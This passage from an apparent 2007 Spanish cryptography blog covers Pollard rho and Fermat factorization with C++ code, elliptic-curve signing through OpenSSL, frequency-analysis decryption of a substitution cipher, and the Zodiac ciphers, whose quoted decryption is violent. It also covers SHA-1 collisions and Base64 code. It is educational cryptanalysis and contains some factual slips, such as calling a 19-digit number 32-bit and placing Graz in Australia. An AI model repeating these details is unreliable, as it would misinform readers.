Si nos fijamos bien en la Rho dibujada vemos un hecho interesante producido al cerrar el ciclo. Llegamos al número 256 tanto a partir de 16² como a partir de 35². Este hecho, conocido como colisión, nos permite ver que 35²=16² mod 323. Lo que se conoce como congruencia y significa que 35² mod 323 = 16². Así pues, de forma similar a como vimos en el método de Fermat encontraremos un factor p mediante 35-16=19.

Resumiendo, el algoritmo Rho de Pollard nor permitirá encontrar colisiones, que a su vez nos permitiran encontrar un factor de n.

Para aplicar el método Rho de Pollard tal y como lo hemos visto, es necesario almacenar todos los elementos y compararlos con los elementos nuevos que se van generando. Esto es muy costoso tanto en tiempo como en espacio. Afortunadamente, existe una variación conocida como método de Floyd para encontrar ciclos, que permite encontrar una colisición sin almacenar apenas datos. Este método consiste en mantener dos valores. El primero recorrera en cada paso un elemento de la Rho, el segundo recorrerá dos. El tiempo estimado en el que ambos se encontrarán de nuevo, formando una colisión, es en el peor de los casos la raiz de n.

Algoritmo:

1. Elegir un entero aleatorio a entre 1 y n-3.
2. Elegir un entero aleatorio s entre 0 y n-1.
3. Inicializar U=V=s;
4. Calcular U=F(U), V=F(F(V)));
5. Si MCD(U-V, n) = 1, volver al punto 4.
6. Si MCD(U-V, n) = n, volver al punto 1.
7. MCD(U-V, n) es un factor de n.

NOTA: MCD=Máximo Común Divisor.

Hemos visto que el tiempo estimado para factorizar un número es de raiz de n en el peor de los casos. Pero existe una manera de mejorar considerablemente el tiempo de resolución del algoritmo cuando se dispone de cierta información sobre uno de los factores de n.

Se estima que usando F(x)=x^(2k) +a mod n, el número de iteraciones necesarias para encontrar un factor de n es de c*RAIZ(p)/RAIZ(MCD(p-1,2K)-1).
Es decir, quanto más factores comunes existan entre p-1 y 2k, menor será el número de iteraciones necesario para encontrar p.
Si no sabemos que factores puede tener p-1 puede ser útil calcular el factorial de un número B y usarlo como k: k=B!. Cuanto más grande sea B menos operaciones seran necesarias para encontrar el factor. Pero tampoco se puede abusar del tamaño de B, pues para valores demasiado grandes el tiempo por iteración será muy elevado.

Veamos un ejemplo usando el programa rho_2k.cpp que pego al final:

$ g++ -lgmpxx rho_2k.cpp -o rho_2k
$ ./rho_2k [n number] [B bound]

El primer parámetro es el número que queremos factorizar, el segundo el número B que usaremos para calcular k mediante su factorial.

Intentemos factorizar el número de 32 bits: 2930992620606930277. Primero con B=1, que equivale a k=1:

$ ./rho_2k 2930992620606930277 1
factor: 1065951967
count: 19188

Hemos necesitado 19.188 operaciones. Intentemoslo ahora con B=10:

./rho_2k 2930992620606930277 10
factor: 2749647931
count: 9516

El número de iteraciones baja. Con B=100:

./rho_2k 2930992620606930277 100
factor: 2749647931
count: 50

Como podemos observar la mejora es tangible. Finalmente con B=1000:

./rho_2k 2930992620606930277 700
factor: 2749647931
count: 1

En una sola operacion!

Hemos visto que cuantos más factores coinciden entre p-1 i k mejores son los resultados. Hasta el punto de que si todos los factores de p-1 estan en k, se resuelve la factorización en una sola operación. Sin embargo B no puede incrementarse indefinicademente, pues el factorial crece muy rápido, y no tardaremos en llegar a valores que relentizarán demasiado las operaciones.

Finalmente dejo una copia del programa usado:



#include <gmpxx.h>
#include <iostream>

// F(x) = x^2k + a mod n
mpz_class F(mpz_class &x, mpz_class &k, mpz_class &a, mpz_class &n)
{
  mpz_class res;
  mpz_class pow;

  pow = 2*k;
  mpz_powm(res.get_mpz_t(), x.get_mpz_t(), pow.get_mpz_t(), n.get_mpz_t());
  res += a;

  return res;
}

int main(int argc, char *argv[])
{
  using namespace std;

  mpz_class n;
  mpz_class U;
  mpz_class V;
  mpz_class s;
  mpz_class g;
  mpz_class k;
  mpz_class a;
  mpz_class count;

  if (argc!=3)
  {
     cout << argv[0] << " [n number]  [B bound]" << endl;
     return 0;
  }

  n = argv[1];
  int B = atoi(argv[2]);
  count = 0;
  s = 2;
  U = s;
  V = s;
  g = 1;

  mpz_fac_ui(k.get_mpz_t(), B);
  a = 3;

  while(g==1)
  {
     U = F(U, k, a, n);
     V = F(V, k, a, n);
     V = F(V, k, a, n);

     g = U-V;
     mpz_gcd(g.get_mpz_t(), g.get_mpz_t(), n.get_mpz_t());

     if(g==n)
     {
        cout << "bad seed" << endl;
        U++;
        V++;
        g=1;
     }
     count ++;
  }

  cout << endl << "factor: " << g << endl;
  cout << "count: " << count << endl;

  return 0;
}

Referencias:
- Prime Numbers, A Computational Perspective. Crandall & Pomerance. Ed Springer.

Factorización I: Introducción

2007-10-24T22:41:00.000-07:00

Ya hablamos de la importancia que tiene la factorización en criptografía en "Rompiendo claves RSA". En esta serie de artículos se hará un repaso a los algoritmos usados para factorizar números grandes, empezando por los algoritmos más básicos hasta llegar a los más actuales y modernos sistemas, que permiten factorizar números de más de 150 dígitos decimales.

Como veremos, existen decenas de algoritmos de factorización, pero los más destacados por su mayor velocidad (o menor complejidad) son:

- Quadratic Sive (QS): El algoritmo más rápido para factorizar números grandes de propósito general menores de 110 dígitos decimales (aproximadamente).

- Number Field Sieve (NFS): El algoritmo más rápido para factorizar números grandes de propósito general mayores de 110 dígitos decimales (aproximadamente).

- Elliptic Curve Method (ECM): El algoritmo más rápido para factorizar números grandes cuando uno de los factores es relativamente pequeño.

Estos tres algoritmos tienen un complejidad subexponencial que es lo más rápido que se ha conseguido llegar en el campo de la factorización. Si se encontrase un algoritmo de complejidad polinómica, podríamos decir que el problema de la factorización queda resuelto y dejaría de poder utilizarse en criptografía. Esto significaría, entre otras cosas, el fin de algoritmos como RSA.

Los algoritmos QS i NFS se basan en una vieja estratégia atribuída al genial matemático Pierre de Fermat. La vemos a continuación:
Supongamos que disponemos de un número n del cual queremos obtener su representación como multiplicación de dos factores, es decir n=pq. Ecuación que también podríamos representar como n=(x+y)(x-y).

Si encontramos dos números enteros positivos que cumlan la ecuación de manera que x-y sea mayor que 1, diremos que hemos encontrado un factor no trivial de n, quedando el problema resuelto. Pero para buscar a y b cambiaremos el enfoque del problema.

Sabemos que (x+y)(x-y)=x²-y² , lo que nos permite un cambio de estrategia importante, pues ya no tenemos que buscar directamente factores de n, sino parejas de cuadrados cuya diferencia sea n.
Veamos un ejemplo para n=989. Si realizamos una búsqueda de cuadrados empezando por la raiz entera de 989, es decir 31, tenemos que 32²-989=35 no es cuadrado, continuamos, 33³-989=100 y bingo! Pues vemos que 33²-10²=989. Partiendo de la fórmula anterior tenemos que el factor p corresponde a p=33-10=23 y el factor q corresponde a q=33+10=43. Quedando n factorizado como 989=23*43.

El método utilizado puede parecer muy rápido, pues hemos factorizado el 989 en solo dos operaciones. Si nos hubiesemos dedicado a probar con todos los números primos menores que 31 habríamos necesitado 9 operaciones! (2, 3, 5, 7, 11, 13, 17, 19, 23). Pero lo cierto es que cuando tratamos de factorizar números más grandes vemos que el enfoque no es el adecuado, pues resulta extremadamente lento.

Lo que debemos tener en cuenta de la idea de Fermat es que proporciona una estrategia diferente para atacar el problema, de manera que pasamos de buscar factores de n a buscar diferencias de cuadrados. Como veremos en próximos artículos, esta estratégia se usa con éxito en los algoritmos QS y NFS.

Linus Torvalds y C++

2007-09-24T10:15:00.000-07:00

Sorprendente la perla que nos deja Linus en referencia al lenguaje C++. No tiene desperdicio.

Dejo aquí una copia (el enlace aquí)

On Wed, 5 Sep 2007, Dmitry Kakurin wrote:
#
# When I first looked at Git source code two things struck me as odd:
# 1. Pure C as opposed to C++. No idea why. Please don't talk about portability,
# it's BS.

*YOU* are full of bullshit.

C++ is a horrible language. It's made more horrible by the fact that a lot
of substandard programmers use it, to the point where it's much much
easier to generate total and utter crap with it. Quite frankly, even if
the choice of C were to do *nothing* but keep the C++ programmers out,
that in itself would be a huge reason to use C.

In other words: the choice of C is the only sane choice. I know Miles
Bader jokingly said "to piss you off", but it's actually true. I've come
to the conclusion that any programmer that would prefer the project to be
in C++ over C is likely a programmer that I really *would* prefer to piss
off, so that he doesn't come and screw up any project I'm involved with.

C++ leads to really really bad design choices. You invariably start using
the "nice" library features of the language like STL and Boost and other
total and utter crap, that may "help" you program, but causes:

- infinite amounts of pain when they don't work (and anybody who tells me
that STL and especially Boost are stable and portable is just so full
of BS that it's not even funny)

- inefficient abstracted programming models where two years down the road
you notice that some abstraction wasn't very efficient, but now all
your code depends on all the nice object models around it, and you
cannot fix it without rewriting your app.

In other words, the only way to do good, efficient, and system-level and
portable C++ ends up to limit yourself to all the things that are
basically available in C. And limiting your project to C means that people
don't screw that up, and also means that you get a lot of programmers that
do actually understand low-level issues and don't screw things up with any
idiotic "object model" crap.

So I'm sorry, but for something like git, where efficiency was a primary
objective, the "advantages" of C++ is just a huge mistake. The fact that
we also piss off people who cannot see that is just a big additional
advantage.

If you want a VCS that is written in C++, go play with Monotone. Really.
They use a "real database". They use "nice object-oriented libraries".
They use "nice C++ abstractions". And quite frankly, as a result of all
these design decisions that sound so appealing to some CS people, the end
result is a horrible and unmaintainable mess.

But I'm sure you'd like it more than git.





 Linus

Criptografía de Curva Elíptica

2007-09-15T02:36:00.000-07:00

Las curvas elípticas son ampliamente usadas en criptografía, especialmente en criptografía asimétrica (o de clave pública). Una de sus mayores ventajas es la velocidad que ofrece, debido a que requiere longitudes de clave mucho menores a las de criptosistemas como RSA.

A continuación se introducen las bases de este tipo de criptografía.

Qués son las curvas elípticas?

En criptografía se habla de curva elíptica en referencia a una ecuación y²=x³+Ax+B que cumple 4A³+27B²≠0. Dando diferentes valores a A y B obtenemos todo un conjunto de curvas que, al ser dibujadas, ofrecen una forma similar. Son ejemplos de curvas elípticas y²=x³-x (izquierda) y y²=x³-x+1 (derecha).

Las curvas elípticas tienen ciertas características que las hacen especiales en el mundo de la criptografía. Una de estas características consiste en la posibilidad de poder generar un punto en una curva partiendo de dos puntos dados (o incluso de uno). Este concepto es muy fácil de entender partiendo de la figura siguiente.

Usamos como puntos de partida P y Q, dos puntos conocidos. Trazaremos una linea entre P y Q. Si la linea corta la curva en un tercer punto, lo reflejaremos a través del eje, dando lugar a un nuevo punto R. Esta operación se representa como R=P+Q. En caso de que la linea que pasa por P y Q no corte a la curva en ningún otro punto, diremos que corta la curva en un punto O en el infinito y representaremos esta operación como P+Q=O.

Partiendo de la suma, no es difícil encontrar un mecanismo que nos permita realizar multiplicaciones de tipo kP, siendo k un escalar. Por ejemplo, imaginemos que queremos realizar la operación 13P, es decir, multiplicar 13 por un punto P. Bastaría con realizar la siguiente secuencia de doblado de puntos:

P, 2P=P+P, 4P=2P+2P, 8P=4P+4P, 13P=8P+4P+P

Este simple mecanismo para generar nuevos puntos dota a una curva elíptica de la posibilidad de realizar operaciones aritméticas sobre ella, base de los criptosistemas que estudiaremos en breve.

En criptografía las curvas elípticas se usan sobre campos finitos (Fq) con q muy grande. Un ejemplo de campo finito podría ser F5={0,1,2,3,4}. De manera que el número 7 representado en el campo finito correspondería a 7 mod 5 = 2.
Cuando se usan campos finitos el número de puntos que hay en una curva tambien es finito. Este numero se llama orden de la curva y se representa como #E. Debemos diferenciarlo del orden de un punto, que se refiere al valor k más pequeño (diferente de 0) que multiplicado por P da O.

El problema del logaritmo discreto (DLP)

La criptografía de Clave Pública basa su fuerza en la dificultad de resolver ciertos problemas matemáticos. Uno de los más usados es el problema del logaritmo discreto (Discrete Logarithm Problem - DLP). Este problema se basa en la dificultad que representa resolver una ecuación de tipo x = a^y mod n donde x, a y n son conocidas e y es la variable que se busca. De hecho, para valores de n e y sufientemente grandes es computacionalmente imposible resolver el problema, al menos, con los algoritmos y ordenadores actuales.
El algoritmo más rápido conocido para resolver este problema es el Index Calculus que permite resolverlo en tiempo subexponencial.

El problema del logaritmo discreto en Curvas Elípticas (ECDLP)

Existe una problema similar al problema del logaritmo discreto que puede usarse con Curvas Elípticas. Anteriormente hemos visto como realizar una operación tipo Q=kP de una forma sencilla. Sin embargo, obtener k y P partiendo solo de Q es computacionalmente difícil. De hecho, el algoritmo más rápido que permite encontrar una solución es el algoritmo Rho de Pollard, pero este algorimo es de tiempo exponencial, mucho mas lento que en el caso del ataque a DLP mediante el Index Calculus.
Este hecho es muy importante, pues la dificultad de resolver ECDLP frente a DLP permite que los criptosistemas que se basan en el primero usen claves mucho más cortas. De manera que los sistemas que usan ECDLP requieren mucha menos memoria y capacidad de proceso.
Una clave RSA de 4096 bits ofrece la misma seguridad que una clave de un criptosistema de Curva Elíptica de 313 bits.

Intercambio de Claves de Diffie-Hellman

El intercambio de claves de Diffie-Hellman es un protocolo que permite un intercambio secreto y seguro de claves entre dos partes que no han tenido un contacto previo. Se usa ampliamente en criptografía y se basa en el problema del logaritmo discreto (DLP). Por lo tanto, puede usarse el mismo algoritmo a través del problema ECDLP.

Al algoritmo puede resumirse en los siguientes pasos:

1. Alice y Bob eligen una curva elíptica E sobre un campo finito Fq de manera que el ECDLP sea computacionalmente difícil. También eligen un punto P en dicha curva de manera que su orden sea un número primo grande.

2. Alice elige un entero grande a, calcula PA=aP y envía PA a Bob.

3. Bob elige un entero grande b, calcula PB=bP y envía PB a Alice.

4. Alice calcula aPB=abP

5. Bob calcula bPA=abP

Al finalizar el algoritmo, tanto Alice como Bob disponen de abP. Pero un usario que escuche el canal solo habrá podido obtener PA y PB, los cuales no le permiten calcular abP a menos que resuelva el ECDLP. Alice y Bob solo tendrán que extraer una clave a partir de abP y usarla para enviar datos cifrados. Para tal propósito podrán usar cualquier algoritmo simétrico como DES, AES, etc.

Algoritmo de firma digital (ECDSA)

El algoritmo de firma digital para curvas elípticas está basado en el estandar de firma digital DSA. Este algoritmo ofrece un esquema que permite firmar documentos y verificar las firmas.

Los pasos a seguir para generar claves, firmar y verificar la firma, se muestran a continuación.

Alice genera un par de claves:

1. Alice elige una curva E con orden #E=fr, de manera que r sea un primo grande.

2. Alice busca un punto en la curva de orden r.

3. Alice elige un número aleatorio d situado en el intervalor [2, r-2] y calcula Q=dP.

4. La clave pública corresponde a (E,P,r,Q) y la clave privada a d.

Alice firma un documento M.
(h(M) corresponde al hash de M)

1. Alice elige un número aleatorio k en el intervalo [2, r-2].

2. Se calcula el punto (x, y)=kP

3. R=x mod r

4. s=k¯¹ (h(M) +Rd) mod r, si s es igual cero, empezamos de nuevo.

5. La firma de Alice es (R,s) y se transmite junto con el mensaje M.

Bob verifica la firma de Alice.

1. Bob obtiene la clave pública de Alice.

2. w = s¯¹ mod r

3. u1 = h(M) w mod r

4. u2 = Rw mod r

5. (x, y) = u1P + u2P

6. v = x mod r

7. Si v es igual a R, la firma es válida.

OpenSSL: Un ejemplo práctico de firma digital mediante curvas elípticas.

Des de la versión 0.9.8 la herramienta OpenSSL ofrece algunas opciones para trabajar con curvas elípticas. No están muy documentadas, pero nos servirán para realizar una pequeña demostración del uso de la firma digital.

Para generar un clave ejecutaremos el siguiente comando:

$ openssl ecparam -genkey -name secp224r1 -out key.pem

Ahora tanto la clave pública como la privada se encuentran dentro de key.pem. Podemos extraer la pública con el comando:

$ openssl ec -in key.pem -text -pubout -out pubkey.pem

Ya disponemos de una clave con la que hacer pruebas, por lo que generaremos un mensaje que firmar:

$ echo "El mensaje de prueba de h4ck1t!" > msg.txt

Y lo firmaremos, operación que solo puede realizar el propietario de la clave privada:

$  openssl dgst -sign key.pem -ecdsa-with-SHA1 < msg.txt > msg.sig

Firmado el mensaje, todo usuario que disponga de la clave pública podrá verificar su procedencia:

$ openssl dgst -verify pubkey.pem -ecdsa-with-SHA1 -signature msg.sig < msg.txt
Verified OK

Referencias:

- Elliptic Curves, Number Theory and Cryptography. Lawrence C. Washington. Ed Chapman & HALL/CRC.
- Prime Numbers, a Computational Perspective. Richard Crandall, Carl Pomerance. Ed Springer.
- Criptografía de curva Elíptica, Ataque Rho de Pollard. Daniel Lerch. Hakin9 (6-2007).

Criptoanálisis: Análisis de frecuencias

2007-09-11T12:10:00.000-07:00

Análisis de frecuencias:

El análisis de frecuencias es una forma de criptoanálisis utilizada en cifrados de sustitución, basada en el estudio de la frecuencia de aparición de las letras o símbolos de un criptograma. Este análisis se basa en el hecho de que cada lenguaje dispone de una frecuencia característica de aparición de sus letras o grupos de ellas. Por ejemplo, en inglés es común el uso de la letra E mientras que la X raramente aparece. Lo mismo ocurre en los textos en castellano, donde la E y la A son las letras más habituales.

Aproximadamente la distribución de porcentajes de aparición de cada letra en algunas lenguas comunes es la siguiente:


L       Inglés           Francés         Alemán          Castellano

a       8.167%          7.636%          6.51%           12.53%
b       1.492%          0.901%          1.89%           1.42%
c       2.782%          3.260%          3.06%           4.68%
d       4.253%          3.669%          5.08%           5.86%
e       12.702%         14.715%         17.40%          13.68%
f       2.228%          1.066%          1.66%           0.69%
g       2.015%          0.866%          3.01%           1.01%
h       6.094%          0.737%          4.76%           0.70%
i       6.966%          7.529%          7.55%           6.25%
j       0.153%          0.545%          0.27%           0.44%
k       0.772%          0.049%          1.21%           0.00%
l       4.025%          5.456%          3.44%           4.97%
m       2.406%          2.968%          2.53%           3.15%
n       6.749%          7.095%          9.78%           6.71%
o       7.507%          5.378%          2.51%           8.68%
p       1.929%          3.021%          0.79%           2.51%
q       0.095%          1.362%          0.02%           0.88%
r       5.987%          6.553%          7.00%           6.87%
s       6.327%          7.948%          7.27%           7.98%
t       9.056%          7.244%          6.15%           4.63%
u       2.758%          6.311%          4.35%           3.93%
v       0.978%          1.628%          0.67%           0.90%
w       2.360%          0.114%          1.89%           0.02%
x       0.150%          0.387%          0.03%           0.22%
y       1.974%          0.308%          0.04%           0.90%
z       0.074%          0.136%          1.13%           0.52%

A parte de estudiar la frecuencia de aparición de un símbolo, también podemos fijarnos en la frecuencia de aparición de conjuntos de dos, tres, o más letras. En castellano son frecuentes cadenas de dos letras como DE, LA, EL, EN o palabras de tres como QUE, LOS, DEL, LAS y POR.

A continuación se muestran los conjuntos de dos y tres letras más frecuentes:

En Inglés
Conjuntos de dos letras: TH, HE, AN, IN, ER, RE, ES, ON, EA, TI, AT, ST, EN, ND, OR, TO, NT, ED, IS, AR.
Conjuntos de tres letras: THE, ING, AND, ION, ENT, FOR, TIO, ERE, HER, ATE, VER, TER, THA, ATI, HAT, ERS.

En Francés:
Conjuntos de dos letras: ES, EN, OU, DE, NT, TE, ON, SE, AI, IT, LE, ET, ME, ER, EM, OI, UN, QU.
Conjuntos de tres letras: ENT, QUE, ION, LES, AIT, TIO, ANS, ONT, ANT, OUR, AIS, OUS.

En Alemán
Conjuntos de dos letras: EN, ER, CH, DE, GE, EI, IE, IN, NE, ND, BE, EL, TE, UN, ST, DI, NO, UE, SE, AU, RE, HE.
Conjuntos de tres letras: EIN, ICH, DEN, DER, TEN, CHT, SCH, CHE, DIE, UNG, GEN, UND, NEN, DES, BEN, RCH.

En Castellano:
Conjuntos de dos letras: ES, EN, EL, DE, LA, OS, AR, UE, RA, RE, ER, AS, ON, ST, AD, AL, OR, TA, CO.
Conjuntos de tres letras: QUE, EST, ARA, ADO, AQU, DEL, CIO, NTE, OSA, EDE, PER, IST, NEI, RES, SDE.

Al intentar romper un cifrado mediante análisis de frecuencia nuestro objetivo será identificar la frecuencia de aparición de los símbolos usados. Después buscaremos una equivalencia entre estos símbolos y las letras que más aparecen en la lengua usada intentando encontrar un significado. Nos servirán también las frecuencias de aparición de conjuntos de X letras, así como nuestra imaginación a la hora de rellenar huecos al estilo del juego del ahorcado.

En algunos casos puede ser útil conocer el porcentaje de vocales de cada idioma. En inglés, por ejemplo, el porcentaje de vocales es del 40%, igual que en el alemán. Sin embargo, en francés es del 45% y en castellano del 47%. Estos datos, aunque solo son aproximaciones pueden resultar de gran interés en ciertos criptogramas.

Criptoanálisis de ejemplo

Para experimentar con lo comentado anteriormente, imaginemos un sistema de cifrado por sustitución, de manera que cada letra del mensaje ha sido sustituída por un símbolo. El ejemplo de mensaje cifrado es el siguiente:


3# 16_@!5?6#=_# 2> 23 #6!2 |2 2>16_$_6 15% 13#72 >2162!# 5 |2 /% 45|5 2%_?4#!_15

Para iniciar nuestro criptoanálisis, empezaremos realizando un análisis de frecuencias. Para que este proceso no se haga pesado, adjunto un sencillo programa en C++ que lo hará por nosotros.


#include <iostream>
#include <fstream>
#include <algorithm>
#include <map>


int main(int argc, char* argv[])
{
 using namespace std;

 if(argc!=3)
 {
 cout << "Usage: " << argv[0] << " [file] [max group size]" << endl;
 return 0;
 }

 for(int i=0; i<atoi(argv[2]); i++)
 {
    int c;
    map<string,int> freq;
    ifstream file(argv[1]);
    string group;
    while( (c=file.get()) && !file.eof() )
    {
       if(isspace(c))
       continue;
       group += string(1,c);

       if(group.size()>=i+1)
          freq[group.substr(group.size()-i-1, i+1)]++;
    }

    cout << endl << "-- FREQ SIZE " << i+1 << " --" << endl;
    int count = 0;
    map<string,int>::iterator it = freq.begin();    
    for(;it!=freq.end(); it++)
    {
       if((*it).second>1)
       {
          count ++;
  
          cout << (*it).first << ": " << (*it).second << "\t";

          if(count%6==0)
          cout << endl;
       }
    }
    cout << endl;
 }
}

Partiendo del programa y del un fichero con el texto cifrado "cipher.txt" realizamos el analisis de frecuencias:


$ g++ freq.cpp
$ ./a.out cipher.txt 3
-- FREQ SIZE 1 --
!: 4    #: 7    %: 3    1: 6    2: 10   3: 3
4: 2    5: 6    6: 6    >: 3    ?: 2    _: 6
|: 3

-- FREQ SIZE 2 --
15: 2   16: 3   2>: 3   3#: 3   5|: 2   6_: 2
>2: 2   |2: 2

-- FREQ SIZE 3 --
16_: 2  2>2: 2

Si observamos el análisis de frecuencias podemos ver que los símbolos que más se repiten son '2' y '#', seguidos de '_', '1', '5' y '6'. Por lo que siguiendo la distribución de porcentajes frecuentes es probable que se correspondan con las letras 'a', 'e', 'i', etc.
Es importante tener en cuenta que esto solo nos da una pista de cuál podría ser el valor de cada símbolo, pero no nos lo dice de forma exacta. Por este motivo será necesario probar varias hipótesis.

Empezaremos suponiendo que '2' corresponde a 'e' y '#' corresponde a 'a'. Si nuestra hipótesis falla, continuaremos probando al revés.
Sustituimo en el texto cifrado:


3A 16_@!5?6A=_A E> E3 A6!E |E E>16_$_6 15% 13A7E >E16E!A 5 |E /% 45|5 E%_?4A!_15

Observando el principio del texto cifrado "3A" y la cuarta palabra "E3" deducimos que '3' corresponde a la letra 'L'. Sustituimos de nuevo.

LA 16_@!5?6A=_A E> EL A6!E |E E>16_$_6 15% 1LA7E >E16E!A 5 |E /% 45|5 E%_?4A!_15

También pueden resultar buenas pistas la tercera palabra "E>" y la sexta "|E". Estas nos indican que ">" podría corresponder a 'S' o 'N', y '|' probablemente corresponderá a 'D'. Vea la frecuencia de grupos de dos letras.
Además, si nos basamos en las suposiciones anterioriores, el grupo '/%' que corresponde a una palabra de dos letras que no contiene ni 'A' ni 'E'. Será pues una de las siguientes: NO, UN, SU, LO, SI, MI, ...

También es una buena pista el '5' solitario, que muy probablemente corresponderá a una 'y' o una 'o'. Pero viendo en la octava palabra '15%' deducimos que dificilmente corresponderá a una 'Y'.

En base a las observaciones anteriores, una buena hipotesis podría corresponder a las siguientes sustituciones: '5' por 'o', '|' por 'D' y '>' por 'S'.


LA 16_@!O?6A=_A ES EL A6!E DE ES16_$_6 1O% 1LA7E SE16E!A O DE /% 4ODO E%_?4A!_1O

Llegados a este punto, más de unos sería capaz de resolver el mensaje utilizando solamente su imaginación. Pero en lugar de dar la solución, vamos a explorar otra técnica interesante. Esta corresponde a atacar las palabras sin descifrar con un diccionario. Como ejemplo usaremos una lista de palabras en castellano que se puede descargar de:

http://lemarios.olea.org/lemario-espanol-2002-10-25.txt.gz

NOTA: Esta lista contiene acentos y ñ, que es recomendable sustituir para poder seguir los siguientes pasos.

Después de descargar y descomprimir la lista de palabras estudiemos que opciones tenemos para acabar de descifrar el mensaje. Una palabra que tiene posibilidades es '1LA7E', una palabra de 5 letras de las cuales conocemos tres. Tambien es interesante atacar la palabra que viene a continuación 'SE16E!A'.

Podemos hacerlo con dos sencillos comandos grep:


$ grep "^.la.e$" lemario-espanol-2002-10-25.txt
alabe
clase
clave
glase
llave
olaje
$ grep "^se..e.a$" lemario-espanol-2002-10-25.txt
secreta
secuela
segueta
septena
serreta

Sin duda, las palabras que buscamos son "CLAVE SECRETA". Así que continuamos con la sustitución:


LA CR_@TO?RA=_A ES EL ARTE DE ESCR_$_R CO% CLAVE SECRETA O DE /% 4ODO E%_?4AT_CO

La última palabra puede confundirnos, pero está claro cuál es la segunda. En cualquier caso:


$ grep "^cr..to.ra..a$" lemario-espanol-2002-10-25.txt
criptografia.
$ grep "^e....at.co$" lemario-espanol-2002-10-25.txt
enigmatico
enzimatico
estomatico

Con lo que la resolución del mensaje es trivial:

"La criptografia es el arte de escribir con clave secreta o de un modo enigmatico"

Finalmente el mensaje ha quedado descifrado, pero hay que tener en cuenta que aquí no se han expuesto todas las posibilidades. Es normal, cuando se inicia el criptoanálisis, que se tomen algunas hipótesis incorrectas. En estos casos, no queda más remedio que volver a empezar.

Referencias:
- Cryptanalysis a study of ciphers and their solution. Helen Fouché Gaines.

Los cifrados Zodiac

2007-08-26T13:07:00.000-07:00

A finales de la década de los 60 un asesino en serie conocido como Zodiac cometió varios asesinatos en el norte de California. Zodiac enviaba cartas a la prensa en tono desafiante, algunas de las cuales contenían ciertos criptogramas como el que se muestra a continuación:

340 Cipher

Tres cartas de Zodiac fueron recibidas por el Vallejo Times Herald, el San Francisco Chronicle y el San Francisco Examiner el 1 de agosto de 1969. En ellas Zodiac se hacía responsable de tres asesinatos e incluía un criptograma que supuestamente contenía su identidad. En dichas cartas se exigía su impresión en primera plana, o de lo contrario mataría a una docena de personas ese mismo fin de semana.

El 8 de agosto de 1969, Donald y Bettye Harden descifraron el criptograma que debía contener la identidad de Zodiac. No era así.

I LIKE KILLING PEOPLE BECAUSE IT IS SO MUCH FUN IT IS MORE FUN THAN KILLING WILD GAME IN THE FORREST BECAUSE MAN IS THE MOST DANGEROUS ANAMAL OF ALL TO KILL SOMETHING GIVES ME THE MOST THRILLING EXPERENCE IT IS EVEN BETTER THAN GETTING YOUR ROCKS OFF WITH A GIRL THE BEST PART OF IT IS THAT WHEN I DIE I WILL BE REBORN IN PARADICE AND ALL THE I HAVE KILLED WILL BECOME MY SLAVES I WILL NOT GIVE YOU MY NAME BECAUSE YOU WILL TRY TO SLOI DOWN OR STOP MY COLLECTING OF SLAVES FOR MY AFTERLIFE EBEORIETEMETHHPITI

Carta al Vallejo Times Herald

Carta al San Francisco Chronicle

Carta al San Francisco Examiner

La historia que rodea al asesino está llena de incógnitas, desde su identidad hasta la solución de ciertos criptogramas. Por ejemplo, el criptograma mostrado al principio, conocido como criptograma 340, continúa sin resolver.

La reciente película "Zodiac" de David Fincher narra la historia de este conocido asesino en serie.

Buscando colisiones en SHA-1

2007-08-19T11:21:00.000-07:00

El algoritmo SHA-1 es uno de los algoritmos de hash más importantes, por ser ampliamente usado en criptografía. Su función como algoritmos de hash, consiste en aceptar una entrada de longitud arbitraria y retornar un resumen (digest) de una longitud fija.

Entre las características principales de los algoritmos de hash destaca la necesidad de que las funciones sean de un solo sentido, es decir, que no se pueda obtener información de los datos origen a partir del resument resultado.
Otra característica importante es la resistencia a las colisiones, pues no deben existir dos entradas que produzcan el mismo resumen resultado. Pero lo cierto es que esta última característica es inalcanzable, desde el momento en que la longitud de la entrada puede ser superior a la de la salida.

Una forma de encontrar colisiones consiste en utilizar el ataque de cumpleaños o birthday attack, aunque este requiere 2^(n/2) operaciones de hash para encontrar una colisión. Impracticable en algoritmos como SHA-1.

Otra forma de hacerlo consiste en usar un ataque dedicado a SHA-1 que intente explotar sus debilidadades. Cierto trabajo de este estilo puede encontrarse en Finding Collisions in the Full SHA-1.

Por otra parte, la Universidad de Graz (Australia) ha puesto en marcha un proyecto dedicado a encontrar colisiones en SHA-1. Para tal propósito usa la plataforma distribuida de software libre BOINC, de la universidad de California en Berkeley. Esta plataforma permite usar los tiempos muertos de proceso para colaborar con el proyecto.

En Kriptopolis, han creado un equipo para participar en la búsqueda de colisiones. Puedes unirte a él descargando el soft de BOINC y siguiento las instrucciones de instalación de Kriptopolis.

Codificación Base 64

2007-07-28T11:45:00.000-07:00

Base 64 en un sistema de codificación que permite representar datos binarios usando únicamente los caracteres imprimibles ASCII. Este sistema ha sido usado ampliamente para codificar los correos electrónicos, entre otras cosas.

A continuación se muestra un ejemplo de codificación en Base 64.

Para usar Base 64 en C se puede optar por hacerlo a través de una librería como openssl o por implementar directamente el algoritmo. Veremos los dos casos.

Base 64 y OpenSSL:

Para usar Base 64 desde la librería OpenSSL debemos incluir la cabecera "openssl/evp.h". Las funciones que nos pemiten codificar y descodificar B64 son EVP_EncodeBlock() y EVP_DecodeBlock(), respectivamente.
A continuación aparecen dos funciones: base64_encode() y base64_decode(). Ambas reciben como parámetro la cadena a codificar o descodificar y su longitud, y retornan una cadena con el resultado. Esta cadena apunta a una zona de memoria reservada con malloc(), por lo que queda en manos del programador liberarla.


unsigned char *base64_encode (unsigned char *buffer, unsigned int len)
{                                                                         
unsigned char *ret = (unsigned char *) malloc ((((len+2)/3)*4)+1);
EVP_EncodeBlock (ret, buffer, len);
ret[(((len+2)/3)*4)] = 0;
return ret;
}
                                                                  
unsigned char *base64_decode (unsigned char *buffer, unsigned int *len)
{                                                                         
unsigned char *ret = (unsigned char *) malloc (((strlen(buffer)+3)/4)*3);
*len = EVP_DecodeBlock (ret, buffer, strlen(buffer));
return ret;
}

Una implementación de Base 64:

Existen muchas implementaciones del algoritmo usado para codificar y descodificar en Base 64. A continuación pego una de Christophe Devine que se encuentra licenciada bajo GPL.

/**
* \file base64.h
*/
#ifndef _BASE64_H
#define _BASE64_H

#ifdef __cplusplus
extern "C" {
#endif

#define ERR_BASE64_BUFFER_TOO_SMALL             0x0010
#define ERR_BASE64_INVALID_CHARACTER            0x0012

/**
* \brief          Encode a buffer into base64 format
*
* \param dst      destination buffer
* \param dlen     size of the buffer (updated after call)
* \param src      source buffer
